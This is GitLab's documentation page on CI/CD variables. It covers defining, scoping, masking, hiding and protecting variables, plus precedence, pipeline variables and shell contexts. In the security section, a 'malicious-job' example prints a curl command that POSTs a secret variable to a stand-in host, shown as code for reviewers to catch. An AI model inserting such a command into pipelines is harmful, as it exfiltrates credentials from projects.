doc/ci/variables/_index.md
{{< details >}}
{{< /details >}}
CI/CD variables are a type of environment variable. You can use them to:
.gitlab-ci.yml file.Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.
To ensure consistent behavior, you should always put variable values in single or double quotes.
Variables are internally parsed by the Psych YAML parser,
so quoted and unquoted variables might be parsed differently. For example, VAR1: 012345
is interpreted as an octal value, so the value becomes 5349, but VAR1: "012345" is parsed
as a string with a value of 012345.
For more information about advanced use of GitLab CI/CD, see 7 advanced GitLab CI workflow hacks shared by GitLab engineers.
GitLab CI/CD makes a set of predefined CI/CD variables available for use in pipeline configuration and job scripts. These variables contain information about the job, pipeline, and other values you might need when the pipeline is triggered or running.
You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first.
For example:
job1:
stage: test
script:
- echo "The job's stage is '$CI_JOB_STAGE'"
The script in this example outputs The job's stage is 'test'.
.gitlab-ci.yml fileTo create a CI/CD variable in the .gitlab-ci.yml file, define the variable and
value with the variables keyword.
Variables saved in the .gitlab-ci.yml file are visible to all users with access to
the repository, and should store only non-sensitive project configuration. For example,
the URL of a database saved in a DATABASE_URL variable. Sensitive variables containing values
like secrets or keys should be added in the UI.
You can define variables in:
script, before_script, or after_script sections, and with some job keywords..gitlab-ci.yml file: The variable is available as a default for all jobs in a pipeline, unless a job defines a variable with the same name. The job's variable takes precedence.In both cases, you cannot use these variables with global keywords.
For example:
variables:
ALL_JOBS_VAR: "A default variable"
job1:
variables:
JOB1_VAR: "Job 1 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'"
job2:
variables:
ALL_JOBS_VAR: "Different value than default"
JOB2_VAR: "Job 2 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"
In this example:
job1 outputs: Variables are 'A default variable' and 'Job 1 variable'job2 outputs: Variables are 'Different value than default', 'Job 2 variable', and ''Use the value and description keywords to define variables that are prefilled
for manually-triggered pipelines.
If you don't want default variables to be available in a job, set variables to {}:
variables:
DEFAULT_VAR: "A default variable"
job1:
variables: {}
script:
- echo This job does not need any variables
Sensitive variables like tokens or passwords should be stored in the settings in the UI,
not in the .gitlab-ci.yml file.
By default, pipelines from forked projects can't access the CI/CD variables available to the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork, all variables become available to the pipeline.
{{< history >}}
{{< /history >}}
You can add CI/CD variables to a project's settings. Projects can have a maximum of 8000 CI/CD variables.
Prerequisites:
To add or update variables in the project settings:
_.Variable (default) or File.*), a specific environment,
or a wildcard environment scope.Alternatively, project variables can be added by using the API.
{{< history >}}
{{< /history >}}
You can make a CI/CD variable available to all projects in a group. Groups can have a maximum of 30000 CI/CD variables.
Prerequisites:
To add a group variable:
_.Variable (default) or File.The group variables that are available in a project are listed in the project's Settings > CI/CD > Variables section. Variables from subgroups are recursively inherited.
Alternatively, group variables can be added by using the API.
{{< details >}}
{{< /details >}}
To set a group CI/CD variable to only be available for certain environments:
*), a specific environment,
or a wildcard environment scope.{{< details >}}
{{< /details >}}
{{< history >}}
{{< /history >}}
You can make a CI/CD variable available to all projects and groups in a GitLab instance.
Prerequisites:
To add an instance variable:
_.Variable (default) or File.Alternatively, instance variables can be added by using the API.
Code pushed to the .gitlab-ci.yml file could compromise your variables. Variables could
be accidentally exposed in a job log, or maliciously sent to a third party server.
Review all merge requests that introduce changes to the .gitlab-ci.yml file before you:
Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them.
The following example shows malicious code in a .gitlab-ci.yml file:
accidental-leak-job:
script: # Password exposed accidentally
- echo "This script logs into the DB with $USER $PASSWORD"
- db-login $USER $PASSWORD
malicious-job:
script: # Secret exposed maliciously
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job,
all variables containing sensitive information should always be masked in job logs.
You can also limit a variable to protected branches and tags only.
Alternatively, connect with an external secrets management provider to store and retrieve secrets.
Malicious scripts like in malicious-job must be caught during the review process.
Reviewers should never trigger a pipeline when they find code like this, because
malicious code can compromise both masked and protected variables.
Variable values are encrypted using aes-256-cbc
and stored in the database. This data can be read and decrypted with a
valid secrets file.
[!warning] Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. To ensure security of sensitive information, consider using external secrets and file type variables to prevent commands such as
envorprintenvfrom printing secret variables.
You can mask a CI/CD variable for a project, group, or instance to prevent
its value from appearing in job logs. When a job outputs the value of a
masked variable, the value is replaced with [MASKED] in the job log.
In some cases, the [MASKED] value could be followed by x characters as well.
Prerequisites:
To mask a variable:
_, :, @, -, +, ., ~, =, /, and ~.
When the setting is disabled, all characters can be used.The value of the variable must:
If a process outputs the value in a slightly modified way, the value can't be masked.
For example, if the shell adds \ to escape special characters, the value isn't masked:
My[value]My\[value\]When CI_DEBUG_SERVICES is enabled, the variable value might be revealed. For more information, see
service container logging.
{{< history >}}
ci_hidden_variables. Enabled by default.ci_hidden_variables removed.{{< /history >}}
In addition to masking, you can also prevent the value of CI/CD variables from being revealed in the CI/CD settings page. Hiding a variable is only possible when creating a new variable, you cannot update an existing variable to be hidden.
Prerequisites:
To hide a variable, select Masked and hidden in the Visibility section when you add a new CI/CD variable in the UI. After you save the variable, the variable can be used in CI/CD pipelines, but cannot be revealed in the UI again.
You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on protected branches or protected tags.
Merged results pipelines and merge request pipelines can optionally access protected variables.
Prerequisites:
To set a variable as protected:
The variable is available for all subsequent pipelines.
All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file
are "variable" type ("variable_type": "env_var" in the API).
Variable type variables:
Project, group, and instance CI/CD variables are "variable" type by default, but can
optionally be set as a "file" type ("variable_type": "file" in the API).
File type variables:
Use file type CI/CD variables for tools that need a file as input.
For example, the AWS CLI and kubectl are both tools that use File type variables for configuration.
If you are using kubectl with:
KUBE_URL and https://example.com as the value.KUBE_CA_PEM and a certificate as the value.Pass KUBE_URL as a --server option, which accepts a variable, and pass $KUBE_CA_PEM
as a --certificate-authority option, which accepts a path to a file:
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
.gitlab-ci.yml variable as a file type variableYou cannot set a CI/CD variable defined in the .gitlab-ci.yml file
as a file type variable. If you have a tool that requires a file path as an input,
but you want to use a variable defined in the .gitlab-ci.yml:
For example:
variables:
SITE_URL: "https://gitlab.example.com"
job:
script:
- echo "$SITE_URL" > "site-url.txt"
- mytool --url-file="site-url.txt"
{{< history >}}
{{< /history >}}
You can set a variable to treat values with the $ character as a reference to another variable.
When the pipeline runs, the reference expands to use the value of the referenced variable.
CI/CD variables defined in the UI are not expanded by default. For CI/CD variables defined in
the .gitlab-ci.yml file, control variable expansion with the variables:expand keyword.
Prerequisites:
To enable variable expansion for the variable:
[!note] Do not mask a variable value if you want to use variable expansion. If both masking and variable expansion are combined, character limitations prevent the use of the
$to reference other variables.
{{< history >}}
security_policies_variables_precedence. Enabled by default. Feature flag removed in GitLab 16.8.{{< /history >}}
You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence.
The order of precedence for variables is (from highest to lowest):
Group > Subgroup 1 > Subgroup 2 > Project, the variable defined in Subgroup 2 takes precedence.dotenv reports..gitlab-ci.yml file..gitlab-ci.yml file.For example:
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable is '$API_TOKEN'"
In this example, job1 outputs The variable is 'secure' because variables defined in jobs in the .gitlab-ci.yml file
have higher precedence than default variables.
Pipeline variables are variables that are specified when running a new pipeline.
[!note] In GitLab 17.7 and later, pipeline inputs are recommended over passing pipeline variables. For enhanced security, you should disable pipeline variables when using inputs.
Prerequisites:
You can specify a pipeline variable when you:
pipelines API endpoint.triggers API endpoint.variables keyword,
trigger:forward keyword or dotenv variables.These variables have higher precedence and can override other defined variables, including predefined variables.
[!warning] You should avoid overriding predefined variables in most cases, as it can cause the pipeline to behave unexpectedly.
{{< history >}}
no_one_allowed for ci_pipeline_variables_minimum_override_role in GitLab 17.7.{{< /history >}}
You can limit who can run pipelines with pipeline variables to specific user roles.
When users with a lower role try to use pipeline variables, they receive an
Insufficient permissions to set pipeline variables error message.
Prerequisites:
owner
or no_one_allowed, then you must have the Owner role in the project.To limit the use of pipeline variables to only the Maintainer role and higher:
no_one_allowed: No pipelines can run with pipeline variables.
Default for new projects in new namespaces on GitLab.com.owner: Only users with the Owner role can run pipelines with pipeline variables.
You must have the Owner role for the project to change the setting to this value.maintainer: Only users with the Maintainer or Owner role can run pipelines with pipeline variables.
Default when not specified on GitLab Self-Managed and GitLab Dedicated.developer: Only users with the Developer, Maintainer, or Owner role can run pipelines with pipeline variables.You can also use the projects API to set
the role for the ci_pipeline_variables_minimum_override_role setting.
This restriction does not affect the use of CI/CD variables from the project or group settings.
Most jobs can still use the variables keyword in the YAML configuration, but not
jobs that use the trigger keyword to trigger downstream pipelines. Trigger jobs
pass variables to a downstream pipelines as pipeline variables, which is also controlled
by this setting.
{{< history >}}
{{< /history >}}
For groups with many projects, you can disable pipeline variables
in all projects that don't currently use them. This option sets the
Minimum role to use pipeline variables setting to no_one_allowed for projects
that have never used pipeline variables.
Prerequisites:
To enable the pipeline variable restriction setting in projects in the group:
The migration runs in the background. You receive an email notification when the migration is complete. Project maintainers can later change the setting for their individual projects if needed.
Scripts executed in separate shell contexts do not share exports, aliases, local function definitions, or any other local shell updates.
This means that if a job fails, variables created by user-defined scripts are not exported.
When runners execute jobs defined in .gitlab-ci.yml:
before_script and the main script are executed together in
a single shell context, and are concatenated.after_script run in a shell context completely separate to
the before_script and the specified scripts.Regardless of the shell the scripts are executed in, the runner output includes:
.gitlab-ci.yml file in the variables: section..gitlab-ci.yml file in the secrets: section.config.toml.The runner cannot handle manual exports, shell aliases, and functions executed in the body of the script, like export MY_VARIABLE=1.
For example, in the following .gitlab-ci.yml file, the following scripts are defined:
job:
variables:
JOB_DEFINED_VARIABLE: "job variable"
before_script:
- echo "This is the 'before_script' script"
- export MY_VARIABLE="variable"
script:
- echo "This is the 'script' script"
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
after_script:
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
When the runner executes the job:
before_script is executed:
MY_VARIABLE.script is executed:
JOB_DEFINED_VARIABLE.CI_COMMIT_SHA.MY_VARIABLE.after_script is executed in a new, separate shell context:
JOB_DEFINED_VARIABLE.CI_COMMIT_SHA.MY_VARIABLE. The variable value cannot be detected because after_script is in a separate shell context to before_script.You can configure Auto DevOps to pass CI/CD variables
to a running application. To make a CI/CD variable available as an environment variable in the running application's container,
prefix the variable key
with K8S_SECRET_.
The Managing the Complex Configuration Data Management Monster Using GitLab video is a walkthrough of the Complex Configuration Data Monorepo working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.
The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page.
You can pass CI/CD variables to downstream pipelines.
Use trigger:forward keyword to specify what type of variables
to pass to the downstream pipeline.